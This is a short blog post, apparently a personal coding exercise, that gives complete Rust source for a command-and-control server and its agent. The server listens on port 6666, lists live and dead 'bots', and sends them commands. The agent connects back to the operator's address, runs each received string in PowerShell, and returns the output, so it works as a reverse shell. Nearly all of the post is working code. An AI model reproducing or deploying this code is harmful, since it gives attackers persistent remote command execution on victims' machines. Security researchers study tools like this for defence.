C2 Server & Agent - Rust Coding Practice

· December 30, 2022

Hi all, nowadays I’m writing Rust to learn and improve my coding skills. In this post, you will see C2 server and agent basically. You can pm me on twitter for bugs and anything else. Maybe a few weeks later i can update code, adding new things to improve agent and server. You can list dead, and alive bots and interact with them and kill bots. Agent runs commands on Powershell.

Project : Github

server.rs

use std::collections::HashMap;
use std::io::{Read, Write};
use std::net::{TcpListener, TcpStream};
use std::sync::{Arc, Mutex};
use std::thread;
pub fn help_menu() {
    println!(
        "List bots           bots
Interact to bot     interact
Which one:"
    );
}

pub fn srv() {
    // Create a map to store the list of connected bots
    let bots: Arc<Mutex<HashMap<String, TcpStream>>> = Arc::new(Mutex::new(HashMap::new()));
    // Create a thread-safe reference to the list of bots
    let bots_clone = bots.clone();

    // Start a new thread to listen for incoming connections
    thread::spawn(move || {
        let listener = TcpListener::bind("0.0.0.0:6666").unwrap();
        // Accept connections in a loop
        for stream in listener.incoming() {
            let stream = stream.unwrap();
            // Add the new bot to the list of connected bots
            let mut bots = bots_clone.lock().unwrap();
            let bot_id = stream.peer_addr().unwrap().to_string();

            bots.insert(bot_id, stream);
        }
    });
    'main_loop: loop {
        let mut input = String::new();
        println!("🔗> Maybe help: ");
        std::io::stdin().read_line(&mut input).unwrap();
        match input.trim() {
            "help" => help_menu(),
            "bots" => {
                let mut buffer = [0; 1024];
                //list all bots
                let bots = bots.lock().unwrap();
                if bots.is_empty() == true {
                    println!("Bot not found");
                    continue 'main_loop;
                } else {
                    for (i, (bot_id, mut stream)) in bots.iter().enumerate() {
                        if stream.write_all("wbu".as_bytes()).is_err() {
                            println!("{}: {} - Dead", i, bot_id);
                        } else {
                            stream.read(&mut buffer).unwrap();
                            println!("{}: {} - Active", i, bot_id);
                        }
                    }
                }
            }
            "interact" => {
                //interact to bot
                let mut bots = bots.lock().unwrap();
                let mut input = String::new();
                println!("🔗> Enter bot number you want to interact or back menu(exit): ");
                std::io::stdin().read_line(&mut input).expect("Wrong Input");
                if input.trim() == "quit" {
                    continue 'main_loop;
                } else {
                    let bot_index: usize = input.trim().parse().unwrap();
                    let selected_bot = bots.values().nth(bot_index);
                    'bot_loop: loop {
                        let mut buffer = [0; 99999];
                        if let Some(mut stream) = selected_bot {
                            let mut input = String::new();
                            println!("🔗Powershell Prompt> ");
                            std::io::stdin().read_line(&mut input).unwrap();
                            if input.trim() == "exit" {
                                continue 'main_loop;
                            } else if input.trim() == "kill" {
                                let selected_bot = bots.values().nth(bot_index);
                                let mut sel_bot = String::new();
                                for addr in selected_bot.into_iter() {
                                    sel_bot = addr.peer_addr().unwrap().to_string();
                                }
                                if let Some(mut stream) = selected_bot {
                                    stream.write_all("kill".as_bytes()).unwrap();
                                    bots.remove(&sel_bot);
                                    continue 'main_loop;
                                }
                            } else if stream.write_all(input.as_bytes()).is_err() {
                                println!("Connection Closed");
                                continue 'main_loop;
                            } else {
                                stream.read(&mut buffer).unwrap();
                                println!("{}", String::from_utf8_lossy(&buffer[..]));
                                continue 'bot_loop;
                            }
                        } else {
                            println!("Bot not found");
                            continue 'main_loop;
                        }
                    }
                }
            }
            _ => println!("Wrong choice"),
        }
    }
}

main.rs

use async_std::task;

mod server;

async fn c2_cli() {
    server::srv();
}

#[async_std::main]
async fn main() {
    task::spawn(c2_cli()).await;
}

Agent

main.rs

use async_process::Command;
use async_std::{
    net::{TcpStream, ToSocketAddrs},
    prelude::*,
    task,
};
use std::{error::Error, result::Result};

#[async_std::main]
async fn main() -> Result<(), Box<dyn Error + Send + Sync>> {
    task::block_on(try_run("ip:6666"))
}
async fn try_run(addr: impl ToSocketAddrs) -> Result<(), Box<dyn Error + Send + Sync>> {
    let mut stream = TcpStream::connect(addr).await?;

    'myloop: loop {
        let mut command = [0; 9999];
        stream.read(&mut command).await?;
        let cmd_command = String::from_utf8_lossy(&command[..]).to_string();
        let result_command = cmd_command.trim_matches(char::from(0));
        if result_command == "wbu"{
            stream.write_all("Active".as_bytes()).await?;
        }else {
            let output = Command::new("powershell")
            // .arg("/C")
             .arg(result_command)
             .output()
             .await;
         
         let result = match output {
             Ok(output) => {
                 if !output.stderr.is_empty() {
                     //   println!("{}", &String::from_utf8_lossy(&output.stderr).to_string());
                     stream.write_all("Wrong Command".as_bytes()).await?;
                     continue 'myloop;
                 } else {
                     let result = output.stdout;
                     let stdout = String::from_utf8(result).expect("invalid utf8 output");
                     let res = stdout.trim_matches(char::from(0));
                     stream.write_all(res.as_bytes()).await?;
                     continue 'myloop;
                 }
             }
             Err(_) => stream.write_all("Wrong Command".as_bytes()),
         };
        }

    }
}

Twitter, Facebook